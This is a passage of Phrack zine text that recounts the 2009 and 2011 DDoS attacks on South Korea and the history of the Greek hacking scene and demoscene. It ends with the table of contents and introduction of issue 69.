The first attack of 7.7 DDoS began on July 4, 2009(Independence Day of U.S.) and lasted for two days. The targets of this attack were 26 important web sites of U.S. including Amazon, FAA, NASDAQ, NSA, White House. But from the second attack(July 7 to 8), 13 web sites of Korea were added to the target list. Administration, congress, portal, media, financial institutions were included in the list. At this time, Chinese hackers were suspected to be attackers.

From the third attack(July 8 to 9), there were some changes in the target list, and the existing zombie PCs were not used any more. It seems that the existing zombie PCs were blocked and could be no longer available for the next attack. One of the interesting things is that there were some government organizations which establish measures to defend against attacks and security companies, major portal sites giving e‑mail services in the target list. From this time, NK was suspected to have done the attack. At least, some of South Korea's conservatives wished to believe this for their political profits.

The final attack(July 10) ended destroying data of zombie PCs which were infected with malicious code for attacks. However, the attacker was not identified. C&C(Command & Control) servers from numerous countries were used for the attack. At that time, South Korea was not prepared for this kind of big attack. Thus, South Korea couldn't avoid a confusion from the attack for three days.

As a result, this attack made South Korea establish various policies of preparedness against DDoS attack. Some hackers of South Korea designed ways to cure zombie PCs using C&C servers of attackers as well as some ways of counterattack.

‑‑[ 4.2 ‑ 3.4 DDoS Attack

Almost two years after 7.7 DDoS attack, a similar attack occurred at 10:00 in the morning on March 4, 2011. Like 7.7 DDoS attack, it contained political intentions. But the techniques of attack were more advanced. The targets were mainly the web sites of major national infrastructures of South Korea. The web sites of legislative, judicial, administrative, military, diplomatic, financial organizations, and intelligence agencies, police, portal, transportation, power system were included.

The attacker used HTTP GET Flooding, UDP Flooding, ICMP Flooding, and more than 80% was HTTP GET Flooding. And more than 110,000 zombie PCs and 700 C&C servers from 72 countries were used for attack.[7] The attacker used P2P web sites to spread malicious codes.

After the attacker realized that his attack had been detected(the P2P web sites were known and blocked) through the countermeasure, he added new commands to the malicious codes. This is a different part from the past attack. When new attacks started, the configuration of malicious code was changed, and new files were added. Security experts faced new challenges and needed more time to analyze them. The ending time of attacks was not specified clearly in the configuration file. And the host file of system was modified to prevent the update of anti‑virus programs. And encryption techniques were used to disturb analysis.

However, new defense systems which had been established since 7.7 DDoS attack were applied and despite more advanced techniques of attack, the damage decreased. One day before the attack, ASD(AhnLab Smart Defense) system collected malicious codes which would be used for attack and analyzed the code. Through this analysis, the exact time and targets of attack came to be known, and more effective response was possible.

South Korea has already established some important response systems since 7.7 DDoS attack. The typical examples are ASD of AhnLab and DDoS Shield of KISA. As I said, ASD system can detect attack before it occurs by collecting malicious codes and analyzing them. DDoS Shield system detects attacking traffics and relays normal traffics to their destinations and throws away abnormal attacking traffics through DNS record modification. Of course, the cooperation system of various related organizations and security companies was established elaborately. In this respect, these two attacks made South Korea build new defense systems and brought the development of the security industry.

This attack was so political but the attacker didn't reveal his exact base intentions. But it is clear that the attacker wanted to test his techniques of attack and judge the response capabilities of South Korea. The attacker might realize what kinds of things he needs for his next successful attack. Maybe, we can judge the real capabilities of the attacker through the next attack.

‑‑[ 5 ‑ Who are attackers?

One of the questions which people are curious about is "who are attackers?". This is an important question related with political and military purposes. In conclusion, the judgement through the technical analysis about the question, `who are attackers?' has not been disclosed to the public. In a nutshell, the attacker may be a guy, a group, an organization, or a country that holds its ground against opponents and so has an obvious justification to attack or wants to seize the hegemony of internet world.

For whom are not interested in this kind of general and abstract conclusion, following judgements and the grounds can be given. This is based on a simple presumption, so you'd better not take it too seriously.

The first ground of presumption that NK could be a probable attacker is GNP(Grand National Party) and Chosun Ilbo were included in the attack target list. GNP is the ruling party of South Korea and its philosophical background is based on conservatism, and it is hostile to NK from a political standpoint. Chosun Ilbo is also a leading conservative media and has a hostile point of argument to NK. The contention of Chosun Ilbo has not always been rational and showed us it may manipulate public opinion for its profit. Of course, people of progressive idea are not always friendly to NK without any condition. The fact that these two targets which can be hostile to NK for their political reasons are included in the list makes us guess the attack might be conducted by NK. This judgement came from the special situation of the Korean Peninsula.

The target list of 3.4 DDoS attack contains a particular web site. It is Dcinside, a common community web site. If the attack had been for political purpose, the web site would have had no reason to be in the list. By the way, on January 5, 2011, some posts to blame for NK's leaders were registered in one of NK web site, uriminzokiri.com which the Committee for the Peaceful Reunification of the Fatherland manages to propagate NK's political system. On January 8, 2011, the twitter account of NK(@uriminzok) was compromised and attackers posted some critical comments about NK and the leader Kim Jeong‑il, Kim Jeong‑eun. Some members of Dcinside insisted they did. After two months later, Dcinside was in the list of target. This is the second ground of presumption.

Police of South Korea presumed the attack of NK because the source IPs of attack might have been DPS's which DPS of NK hires in China. But one police concerned told a press, "It is difficult to make clear the exact entity about the main body of this DDoS attack."[8] This shows us that the judgement of police might not be clear. To ensure a clear evidence, police told the press they would do a cooperative investigation with China police, but the results of any cooperative investigation has not been released yet. Because only small number of people possess some sensitive information, various conspiracies seem to appear.

Some people who think the attack didn't come from NK suggest the followings: if NK had a perfect attack plan and was not an idiot, they would not revealed the IP addresses she hired in China with causing political problems. On the contrary, the third force who is familiar with the tension of two Koreas and want to use this situation for its profit rather conducted the attack.

A lot of detailed technical analysis has been published many times in korea since the two attacks. In the technical documentations and presentations, the experts of South Korea didn't specify the source of the attacks because they are afraid of arbitrary interpretation by some people. South Korea is a divided country and any information can be interpreted arbitrarily by some people depending on their political or ideological purposes. In the white paper, "Ten Days of Rain" of McAfee, we can find this part, "This may have been a test of South Korea's preparedness to mitigate cyber attacks, possibly by North Korea or their sympathizers."[9] This has been quoted mainly by some conservative organizations and medias for their political purposes to confirm the attack of NK.

‑‑[ 6 ‑ Some prospects

Some phenomena(for example, making zombie PCs regularly) of the preparation for a powerful DDoS attack has been detected. I am not sure this is the extension of the past and conducted by the past attackers. However, if a new attack occurs, the attacker will test new techniques and South Korea will inspect her defense systems. Of course, South Korea will also be able to have a chance to establish a new defense system and more advanced attack techniques.

South Korea has carried out more than material preparations through the various forms of cyber attacks. This is because South Korea government and companies realized the importance of hackers' help. This started from getting over the wrong awareness about hackers in the past. However, when they looked for good hackers who could help them, they realized that there were not so many hackers as they wanted. So, the need of running programs that can foster good hackers has begun to rise.

About ten years ago, the hackers of South Korea organized communities and hacking teams by themselves, and proceeded various researches and discussions. At that time, they had strong desire for knowledge and pure research, and their findings were shared freely with little thought of money. And they didn't use their knowledge for the purpose of financial crime. But the government and companies considered hackers as criminals. Sometimes, police tried to arrest hackers for their own profits and blocked their activities. In this kind of oppressive situation, hacker had to stop their growth momentarily. Consequently, this led to the retreat of cyber defense capabilities of South Korea. Hackers can't post an exploit code in a web site. Because the related law defines 'hacking' too comprehensively, so it is still illegal to post an exploit code in an open web site in South Korea.

Watching various cyber attacks for the purpose of political and financial reasons around the world, the government and companies of South Korea realized that bringing up hackers is closely linked to the defense of country and profits of companies. So, they run some hacking contests to find good hackers and support some hacking and security clubs of universities. These kinds of action are still not so well formed to the level of systematically perfect process, but these fostering programs are expected to be proceeded in more concrete shape through various cyber attacks.

Of course, the hackers of South Korea have tried to prove the value of their existence and to grow up by themselves without any help of government and companies. For instance, they have participated in the finals of DefCon CTF since 2006. In 2006, 'East Sea'(This refers to the territory of Korea) team went to the final of DefCon CTF and this was the first time for a foreign team to take part in it. And this led to the organization of one team for DefCon CTF which consisted of some members of leading hacking teams of South Korea. This was helpful to correct the wrong awareness of media about hackers. And some hacking and security conferences have been held every year by hackers. Even some hackers take part in the penetration test projects for government. The hackers of South Korea now prove their contribution and existence value through these activities.

There will be two important elections, a general election and a presidential election in South Korea next year. And some political attacks can be expected regardless of the types of attack.If some large‑scale attacks occur again next year, some people will likely assert it as a conduct of NK even if it is not by NK. Some politicians of two Koreas fell under suspicion of bringing unrest on the peninsula intentionally to achieve their political goals at the time‑sensitive period.

We can easily anticipate various forms of attack to occur continuously if the division state of two Koreas remains, and new strains occur, or if someone or country needs them for profit. Currently, one of the best solutions for this problem is to relieve the political tensions through the promotion of common interests of surrounding countries of the Korean Peninsula and to achieve the cooperation relationship. The stability of the Korean Peninsula can contribute to the peace of the world as well as East Asia owing to the close connection of countries.

‑‑[ 7 ‑ References

[1] Seong‑jin Hwang, Young‑il Gong, Hyun‑ki Hong, Sang‑ju Park, "Report about Cooperation in Broadcast Communications Between South Korea and North Korea"

[2] http://www.sisaseoul.com/news/quickViewArticleView.html?idxno=1154

[3] http://news.chosun.com/site/data/html_dir/2011/06/01/2011060100834.html

[4] http://www.dt.co.kr/contents.html?article_no=2011070102010251746002

[5] http://www.nosotek.com

[6] Chan‑mo Park, "Software Technology Trends of North Korea" http://www.postech.ac.kr/k/univ/president/html/speeches/20030428.html

[7] http://www.ahnlab.com/kr/site/securityinfo/newsletter/magazine.do

[8] http://www.seoul.co.kr/news/newsView.php?id=20110407008034

[9] McAfee, "Ten Days of Rain ‑ Expert analysis of distributed denial‑of‑service attacks targeting South Korea" http://dok.do/srVOcq

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

What's past is prologue

anonymous underground greek collective ‑ anonymous_gr@phrack.org

‑‑‑‑[ Introduction

First things first. This is the second part of the previous scene phile on the Greek underground scene [GRS]. Although the primary authors are the same as the first part, this time many people contributed information, stories, facts and even whole paragraphs of text. We were positively surprised by the response and the attitude of the community that decided to help us in order to make this second part better. Hence the new authorship details. Also, the email alias from above is now forwarded to the people that helped.

The truth is that we had a great time receiving irrelevant flames by people who didn't even read the first two paragraphs of our previous scene phile. In a struggle to avoid future unfortunate comments, we would like to stress the fact that we are not capable of talking about every aspect of the Greek scene in just a few paragraphs. In fact, space is not the only problem. Privacy is a fundamental characteristic of all scenes. There are people who don't want to publish or openly talk about their actions, and there are certain stories/facts that we are not aware of. That said, we believe that the following text covers, not all, but a fair amount of the history of the Greek scene. If you don't comprehend the previous sentences, then maybe you should try reading something else. Or maybe try writing/producing something yourself, huh? How about that?

We would also like to remind you that we will once again try to refrain from referring to particular nicknames/handles. We will, instead, give a macroscopic view of our scene's past glory. Btw, you may notice a focus on cities other than Athens. That's a byproduct of the fact that most of the people that provided information are not from Athens.

‑‑‑‑[ Dawn of time

At the dawn of time there were BBSes. And FidoNet.

The very first BBS in Greece, named .ARGOS system, started operating in late 1984. It was a non‑networked BBS, mostly built around a message bulletin board. It was arguably the first online community in Greece. Another early BBS was AcroBase established in 1988 [ACR]. The next major event was in 1989 when the first FidoNet nodes in the city of Thessaloniki became active. They connected the Greek BBS community to the world by FidoNet mail and several local and global echomail (usenet news‑like) areas. In 1992 Compupress [CPS], a very creative and innovative (for Greek standards ;) publishing company, very famous among Greek computer users, launched its BBS, codenamed "Compulink". 1994 most people agree that it was the "Golden Era" of Greek BBSing. There were around 100 FidoNet nodes in most urban and rural areas of Greece. The "Twilight Zone" BBS was offering public access to a selected choice of usenet groups and public access to Internet email through a UUCP‑to‑FidoNet gateway. Several regional and some international FidoNet‑technology networks other than FidoNET connected most of the amateur computer community in Greece at that time. In Thessaloniki there were weekly FidoNet meetings every Friday, forming the first stable, most widespread and long‑lived (till today!) Greek amateur computer society. There were meetings hosting over 30 to 40 people, in times when Computing and Information Technology were terms almost unheard of in Greece. In 1996, the FidoNet nodelist count drops to 51. This was mainly due to the increasing number of ISPs and dialup users, and it was the start of demise for the BBS/FidoNet era of Greece.

Around that time, Compupress' Compulink BBS evolved into a full blown, but tiny, ISP that provided dialup access to the Internetz while at the same time maintaining its BBS service. In 1995‑97 the Greek underground was heavily involved in hacking Compulink and its BBS services; there were a lot of incidents and even formal complaints. The fights between Compulink's administrators and well‑known members of the underground are almost legendary. This era saw the founding of several hacker (with and without quotes) groups, and is considered by many as the birthplace of the Greek scene.

At this point we should mention that Compupress was the publisher of Pixel, a very famous and influential magazine for personal computers. Pixel first appeared in 1983 and usually included type‑in programs as code listings! In 1987, Pixel published the details for one of the oldest virii written by a Greek guy [PIX]. The virus was randomly displaying the message "Program sick error. Call doctor or buy Pixel for cure description". Leet or what?

In the following years, more companies entered the Internet market and Internet access started to spread. Early ISPs were just charging a yearly fee for dial‑up access, and each phone call to them costed a small one‑time amount (~20 drachmas). These led to a lot of people downloading warez off Usenet, idling on the Greek IRC network (GRNET) and wardialing. The suits of the ISPs and the phone company (OTE) saw that as a cash cow to milk, reacted quickly and established time‑based charging (security counter measures? :p). That's the point it started to become expensive for end‑users to access the Internet.

This period saw the emergence of a lot of "hacker" groups. This time the quotes are necessary, however there were noteworthy exceptions. Most of these groups focused on attacking the ISPs of the time. In one specific incident, the ISP Hellas On‑Line (HOL) was hacked and its main password file was stolen and exchanged in the underground. In order to cover the breach and cause confusion, HOL is rumored to have started distributing a fake password file among the underground. What needs to be highlighted is that this was one of the first 'dirty or at least "less than sincere" incident response tactics' used by companies as they started to become targets to attacks.

At this time most of the serious hackers were mainly individuals, sometimes organized in anarchy groups that used to have fun breaking things, both metaphorically and literally :) Some day in 1995, #grhack (!= grhack.net) gets established in undernet. #grhack was an IRC room where several skilled people used to hang out and exchange information. #grhack is still so respected among the Greek hackers that several lame Greek cockroaches try to convince one another that they were supposedly active back in the day (fuck off, you know who you are). It was in #grhack that the term "GHS" (Greek Hackers Society ‑ "S" for "Society" and *not* "Scene") first appeared. GHS was exactly what the initials described, a community that consisted of people with respectable and notable skill set and state of mind, people that actually *hacked* (as opposed to the ones whose knowledge is limited to merely running sqlmap and other canned tools).

Additionally, members of #grhack were also the creators of hack.gr and grhack.gr [GGR], two old school sites representing the state of the scene at the time. It's interesting to note that the hack.gr user pages are still up and running at [HGR] (most people listed there are/were respectable, however some idiots also managed to get there). Also, grhack.gr is still maintained by one of the guys (greets and respect)!

Of particular mention was a group of hackers situated mainly (but not strictly) at the city of Patras and associated with hack.gr. They had advanced skills, anarchist ideologies, and weird links with mind‑expanding experiences (LSD? Who knows... ;). It is clear that their mentality had a lot to do with their deep education and love of reading (outside technology as well). A couple of them even transcended the borders of Greece and became members of the famous hacking group ADM. Their work was and still is inspirational to a lot of us. It is also worth noting that apart from ADM, members of the Greek underground have participated in or have been founders of other famous hacking groups or communities such as w00w00, ElectronicSouls, el8, 9x, POTS and probably others.

1996‑1999 was a high time for the Greek computer underground related press (the traditional mainstream computer press was dominated by the RAM magazine). Several publications surfaced, "Laspi", "The Hack.gr Gazette" and many more. Their focus was primarily on the freedom of speech/information. Some of them were humorous, while others used caustic words to describe, according to the authors, unethical acts of people who got famous by abusing the term "hacking". For example, "Ypokosmos tou Internet" [IUW] (Internet Underworld) was one of the most famous zines, kinda like el8, ZF0 etc ;). Internet Underworld focused on exposing the security and privacy related blunders of ISPs and other poorly maintained organizations/companies without however publishing private data online. It was created in response to the "Kosmos tou Internet" (Internet World), a traditional press magazine. The Internet Underworld zine was shut down by OTE officials who threatened(?) VRnet (their hosting provider) with disconnection. The interested reader can find more details at [ISE] and [TEL], two articles that give more information on the publications of the time (unfortunately they are in Greek but Google Translate is your friend).

In 2001 the first Greek "con" took place in Athens. It was called "HOUMF! Con version 0.0" (Hacking Organisation of Unix Mother Fuckers [HMN]) and it brought together people from the Greek underground with interests in security and hacking [HMF]. Since it was only a "demo" (hence the 0.0 version number :) of a full conference, there were only three talks given [HMT]. However it was considered a huge success since there were about 150 participants, an impressive number if you consider the size of the Greece scene at that (and this really) time. By the end of December 2000, more than 100 people had expressed their interest to attend it!

HOUMF v1.0 was scheduled for the April of 2002. Due to the media going berserk on a new disease spread at the time, the organizers were unable to find a room to host the meeting. Preparations ended abnormally, disappointing a lot of people who would love to attend. It was then when most Greeks did what they knew best; Troll and flame the organizers for no obvious reason. The truth is that there hasn't been any attempt for another underground con in Greece since then. Crappy remarks from worthless people aside, the truth is, if anyone was better at organizing an underground con of this magnitude, they'd just be doing it already.

Around 2000‑2001 two more groups appeared in the scene, USF (United Security Force) and UHAGr (United Hackers' Association of Greece). Both were quite active in efnet and undernet, so, several people may recall their names as well as both good and bad memories along with them. It's quite notable that there was an interesting hatred among the members of the two teams, maybe mostly because of personal differences, but looking back in time one can only see the fun part of it. USF and UHAGr both had their own websites; www.infected.gr [INF] and www.uhagr.org [UHA] respectively, where one could see a bunch of releases (papers, codes etc.) as well as funny material, pics from meetings and so on. As far as we know, members of the two teams used to meet in real life in Thessaloniki and Athens in order to have fun and break things.

In 2003‑2004, r00thell came into existence. r00thell wasn't a team in the strict sense, it was an active think‑tank of 5‑6 people mostly interested in exchanging techniques and ideas. One of the most funny things about r00thell was their members' interest to explore exotic architectures which eventually led to a development of a whole heterogeneous network that these guys had access to (AIX, SunOS, HP‑UX, etc.). If r00thell had a leader that would be the webmaster of kizoku.r00thell.org, a security portal were one could find interesting texts and several resources. A very interesting 'about' page can be found at [R00], titles of some texts at [R0T] and some projects they used to work on at [ROP].

The same (more or less) people that spawned r00thell, were the creators of other communities as well. Ono‑sentai [ONO] was such an example. Ono‑sentai was born some time around 2001‑2002 and it seems like the members had really fun times. It's unfortunate that the site is written in greeklish; we wish everyone was able to read the sections 'about' and 'kotsanes'! Nevertheless, the website features technical content that may be in value even nowadays (wardialing results, local root exploits, papers and other resources which are worth studying). Apart from the technical content, ono‑sentai became very famous for the detailed treatise on the non‑existence of Santa‑Clause (!) which you can find at [ONS]. We'd love to see an English version of this text; maybe we will some day convince the guy who wrote it to do a proper translation :p For now, you can try Google Translate on it :p

It has always been believed that many members of the Greek underground struggle to mimic the behavior of certain USA groups/communities. We believe this is not an issue specific to our local scene and it's not bad either, at least not by default ;). In the past, several people have tried to follow the principles of pr0j3ct m4yh3m but most of them have failed miserably. Back in 2001, a zine called 'keyhole' started to circulate in the underground. 'Keyhole' was a zine like el8, h0no etc but only made it to the first issue ;) The zine's authors, calling themselves 'OSS' (Open Secret Society), pretended to be anonymous hackers that exposed people for fun; A few days later, their identities became known. Most people agreed that 'keyhole' was a bad move; as far as we know, no one of the guys being flamed in the zine had hurt the authors.

'Keyhole' was immediately considered an unjustifiable show‑off that displeased several members of the Greek underground. It later became obvious that a group of people, named 'CUT' (Ch0wn Unix Terrorists) [CUT], were displeased the most; after managing to identify the 'keyhole' authors, CUT broke into their servers, sniffed mails, IRC logs and other funny material and eventually published a zine called 'asshole' which was considered a reply to 'keyhole' (hence the name). An interesting manifesto [CMN] was also sent to a famous Greek security portal. Although we believe that publishing sensitive private information is unethical, 'asshole' showed the 'keyhole' authors what it feels like to have your ass exposed. In the manifesto, the authors of 'asshole' reacted to all that 'whitehat vs. blackhat' bullshit that had started to affect the Greek communities.

Since that time, more zines have emerged in our local communities usually targeting individuals. Our advice: If you don't like someone, just ignore them :)

To our knowledge, the first arrest in Greece related to computer crime law took place in the September of 2000. It was a surprising and unprecedented move made by the Greek authorities, since prior to this incident there had been only warnings(?) so to say from law enforcement just to scare people off. The CCU (Computer Crime Unit) managed to locate and arrest a student of the Engineering School of Xanthi, who was later charged for causing damage to a very famous Greek ISP. Before this very first arrest, most people in the local hacking communities ignored the presence of intelligence agencies, but this unfortunate event signaled a new era of the Greek underground; an era characterized by an inherent suspicion in members of the underground that even their closest friends could be members of intelligence agencies. Unfortunately, this is a delicate issue which we wouldn't like to discuss further. Many people seem to be involved and we wouldn't like to hurt anyone.

Last but not least, here's a list of other communities that were (or maybe still are) active within the Greek underground:

1. System Halted

2. Ethnic/nationalistic groups (which shall remain unnamed).

‑‑‑‑[ Demoscene

The demoscene has always been an integral part of the computer underground. A lot of people believe it may be its pure heart nowadays that so many things in rest of the underground scene seem to be corrupted and rotten.

This part of the phile concerns the past of the PC demoscene in Greece. That is not to say that the greek demoscene has been PC‑only. Sceners from such platforms as the Amiga, Atari, CPC, C64 and Spectrum have been part of its mosaik. We, however, are going to focus on the PC‑specific demoscene.

In the introduction we stressed the fact that we wouldn't like to refer to particular nicknames of the Greek scene. Nevertheless, the demosceners had no problem having their nicknames revealed, so, we thought it would be nice to give credit where credit is due ;)

As in most cases, one would expect the PC demoscene to have originated from big cities like Athens or Thessaloniki (where over 50% of the country's population is located), but surprisingly that was not the case. The story goes back to 1992 in the town of Katerini, where a group called ASD (Andromeda Software Development) was formed, and started uploading small productions to COSMOS BBS, a local Bulletin Board System. The group in the beginning consisted of Navis and Incus, creating PC utilities, but later Amoivikos joined them, and as a team decided to turn into graphics programming. Although Navis had previously coded various effects in C64 and PC, Cdemo5 should be considered the group's first demo.

Meanwhile, three university students in Athens (Laertis, Jorge and Zeleps), decided to put a group together called Nemesis, but only released one single production in 1994 called spdemo which was an advertisement for a local BBS called Spectrum. It was quite a big thing when Megaverse BBS came online in the city of Patras around 1993. It functioned as a local demo repository, copying demos directly from Future Crew's own Starport BBS in Helsinki and distributing them locally. Dgt, the owner of Megaverse, along with emc, fm, gotcha and nEC, most of them users of a local BBS called Optibase, formed a group called dEUS which was destined to play a big part in the Greek PC demoscene. moT, the group's musician, was finally added to the group, which led to the release of their first production called Anodyne on the 5th of July 1994. dEUS was the first group in Greece to incorporate some kind of design in their demos and the first to submit a production, a 64k intro, to the Assembly Demoparty in Finland, although they never got past the preselection round. More importantly though, they were the first group to organize a demoparty in Greece. This initiative would eventually result to Patras becoming in a way a "capital" for the greek demoscene. The first demoparty that dEUS organized took place on April 28, 1995 in an abandoned bank branch in the center of Patras and was a big success, gathering sceners from all around the country. ASD won the first place in the demo competition with their demo "Counterfactual", marking the beginning of their long winning career. The same year saw the formation of another group. Demaniacs were found in February of 1995 in Xanthi, by Cpc and NeeK, two students at the Democritus University of Thrace, who after watching Second Reality, decided to make something alike on their own, leading to an intro called "pandemonium". Later that year Theo joined them as a musician, leading finally to their first production with sound in March 1996. Gardening 96 took place the following year, this time at the University of Patras' theater, which became the standard location for the parties that followed. The third and last Gardening event took place in 1997 at the same location. At that time, many other groups existed, notably Helix, Debris, Arcadia and Red Power. Little did anyone at that time know it would be the last of The Gardening demoparties. And suddenly, that was it. No demos came out for the following four years, no parties took place, and the scene seemed quite dead. When in the the year 2000 a LAN party, organized by many sceners took place in Athens, it was the closest it could get to a sceners' meeting. However, no productions came out of it.

It was the following year that something significant happened. A demo‑dedicated channel was created in GrNet, a greek IRC network, and gathered many of the previously scattered greek sceners as well as new ones. This led to an actual demoparty taking place. Digital Nexus 2001, which took place in Athens, and was organized by cybernoid, apomakros, doomguard and Abishai. ASD won the demo compo once more, presenting "Cadence and Cascade", the first Greek GPU‑accelerated demo, which signaled a new era for the Greek demoscene. It is not well known though, that at the same party, Psyche, Raoul and zafos, three students from the university of Patras, resolved to revive the Gardening demoparties that had taken place at their University a while ago, and to form a demo group, later called nlogn. The fruit of their cooperation was a new demoparty called ReAct, which tried to revive the Gardening atmosphere, and took place on the 19th of April 2002. ASD with aMUSiC, their first musician since the group's formation, won the demo compo with their demo "Edge of Forever". The Greek demoscene seemed to be entering a new era indeed. A few new groups appeared, such as Quadra, The Lab, Psyxes, Nasty Bugs, nlogn and Sense Amok and things for a while looked promising. However, most (if not all) of the newly formed groups never released more than a couple of productions, and never managed to reach the level of productions that were made outside of Greece. Older groups, apart from ASD, never managed to release any new productions. Most of them disbanded but kept coming to parties. ReAct took place in 2002, 2003 and 2004, and then a demoparty called Pixelshow, organized by gaghiel, continued this long running tradition of having a party in the University's theater. Pixelshow took place twice, in 2005 and 2007 (the 2006 event was cancelled), and was the last demoparty to have taken place in Greece so far.

Some things should be added concerning ASD at this point, since their fame is way beyond the Greek demoscene. Although almost no Greek group ever achieved fame outside Greece, ASD is one of the most famous demogroups worldwide. They currently hold the record of scoring four times 1st place in the combined demo compo of the Assembly demoparty, as well as having received eleven scene awards (demoscene's most prestigious award) so far. Their productions are marked by painstaking attention to detail, extremely well crafted transitions that have become their trademark, as well as a progressive metal soundtrack most of the times, composed by aMUSiC and Leviathan, the group's musicians.

‑‑‑‑[ What's past is prologue

Relax, take a deep breath and try to think what do you want your place to be in the great scope of things. The (Greek) scene will go on with or without you, with or without any one of us. The scene is a collective. Respect it and it will respect you back. Give to it and you will receive. Understand the true spirit of hacking and stop being a Chrysaora Sqlmapis [SUB].

In order to write this article, we contacted several people to ask for information. A lot of people helped not only with information, but also with anecdotes and even actual text. They have our respect and we thank them. Of particular mention are zafos/nlogn and amv/ASD. Also, we respect the fact that some people didn't want to share or have their stories made public, but nonetheless provided helpful feedback. Thank you guys too.

‑‑‑‑[ References

[GRS] http://phrack.org/issues.html?issue=67&id=16

[ACR] http://www.acrobase.org/

[CPS] http://en.wikipedia.org/wiki/Compupress

[PIX] http://www.f‑secure.com/v‑descs/pixel.shtml

[GGR] http://www.grhack.gr/ and http://www.grhack.gr/first_page/

[HGR] http://users.hack.gr/

[IUW] http://web.archive.org/web/19990428222240/http://iuworld.vrnet.gr/

[ISE] http://www.isee.gr/issues/01/special/

[TEL] http://www.e‑telescope.gr/el/internet‑and‑computers/

47‑online‑journalism

[HMF] http://web.archive.org/web/20011020020500/houmf.org/v0.0/

[HMN] http://web.archive.org/web/20020208000350/

http://ono‑sentai.jp/readkotsanes.php?id=11

[HMT] http://web.archive.org/web/20011212094327/http://houmf.org/v0.0/

papers.go

[INF] http://web.archive.org/web/20011202184457/http://www.infected.gr/

[UHA] http://web.archive.org/web/20030806115340/http://www.uhagr.org/

[R00] http://web.archive.org/web/20050220152149/

http://www.r00thell.org/about/

[R0T] http://web.archive.org/web/20050220232518/

http://www.r00thell.org/papers/

[ROP] http://web.archive.org/web/20031007021404/

http://r00thell.org/projects.php

[ONO] http://web.archive.org/web/20020330152233/http://ono‑sentai.jp/

[ONS] http://web.archive.org/web/20020305052051/

http://ono‑sentai.jp/readkotsanes.php?id=3

[SUB] http://tinyurl.com/882vez7

[CMN] http://web.archive.org/web/20050218172857/

http://www.ad2u.gr/mirrors/CUT.txt

http://web.archive.org/web/20050219114701/

http://www.ad2u.gr/mirrors/toxicity.email

[CUT] http://web.archive.org/web/20050206231527/

http://www.ad2u.gr/article.php?story=20030105175233835

69

- Introduction by The Phrack Staff

- Phrack Prophile on Solar Designer by The Phrack Staff

- Phrack World News by The Phrack Staff

- Linenoise by various

- Loopback by The Phrack Staff

- The Fall of Hacker Groups by Strauss

- Revisiting Mac OS X Kernel Rootkits by fG!

- Adobe Shockwave - A case study on memory disclosure by aaron portnoy

- Modern Objective-C Exploitation Techniques by nemo

- Self-patching Microsoft XML with misalignments and factorials by Alisa Esage

- Internet Voting by kerrnel

- Attacking Ruby on Rails Applications by joernchen

- Obituary for an Adobe Flash Player bug by huku

- OR'LYEH? The Shadow over Firefox by argp

- How to hide a hook by uty & saman

- International scenes by various

Introduction

==Phrack Inc.==

Volume 0x0f, Issue 0x45, Phile #0x01 of 0x10

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Introduction ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ by the Phrack staff ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ staff@phrack.org ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ May 6, 2016 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

... A long time ago in a galaxy far far away ...

______ _

| ___ \ |

| |_/ / |__ _ __ _

| __/| '_ \| '__/

| | | | | | | | (

\_| |_| |_|_| \_

_ _ ____

_| || |_ / ___

|_ __ _/ /___

_| || |_| ___

|_ __ _| \_/

|_||_| \_____

‑‑[ Introduction

Hello Phrack readers! It has been a long time, hasn't it? Aren't you relieved that the world didn't end in 2012?! What if the Mayans were right? What if comets hit Earth? Yes, we were worried too, so we decided to take some time off and enjoy the last days of this planet. Once enough time had passed, we were pretty sure our species was not going to disappear. It was about time we returned to our blinking terminals again and finish what we started :>

Um... yeah, that's the reason the last Phrack release was back in 2012... Um... Kind of...

Damn, it took so long that even a Star Wars sequel was shot in the meantime!

Anywayz, the Phrack Staff is back again, with a slightly different editorial, bringing you an awesome collection of articles from several respected hackers and other thinkers. No, we are not going to write a Prophile on our new team. Yes, there are still people who prefer Phrack over media whoring. The world is full of surprises. It took quite some time, but we hope this issue of Phrack will meet your expectations.

One new addition to Phrack is the "Paper Feed" feature. The way it works is that you submit a paper, we review it and it gets published. No need to wait a month (or two years ;‑) until you see your article in the next Phrack issue. When the time has come, we'll decide to compile a new issue from the articles that have been submitted. The usual rules do however still apply: we are proud of being one of the longest‑running magazines and we're especially proud of presenting quality content to our readers (yes, that's you). Papers submitted to the paper feed are no exception!

Phrack #69 brings you three new technical articles in addition to paper feed and the standard Linenoise, Loopback and International Scenes philes. The Firefox hater code‑named argp presents advanced exploitation techniques and attempts to build abstract primitives for taking advantage of various memory‑related vulnerabilities on your "favorite" multi‑heap browser ;> Huku, some guy who, obviously, visits porn sites a lot, has written an art of exploitation phile focusing on Adobe Flash Player (hey, this is not P0 man!). Last but not least, uty presents a VT‑x based technique for installing inline hooks and backdooring a whole system. We have spent much time debugging this, we hope you *do* like it.

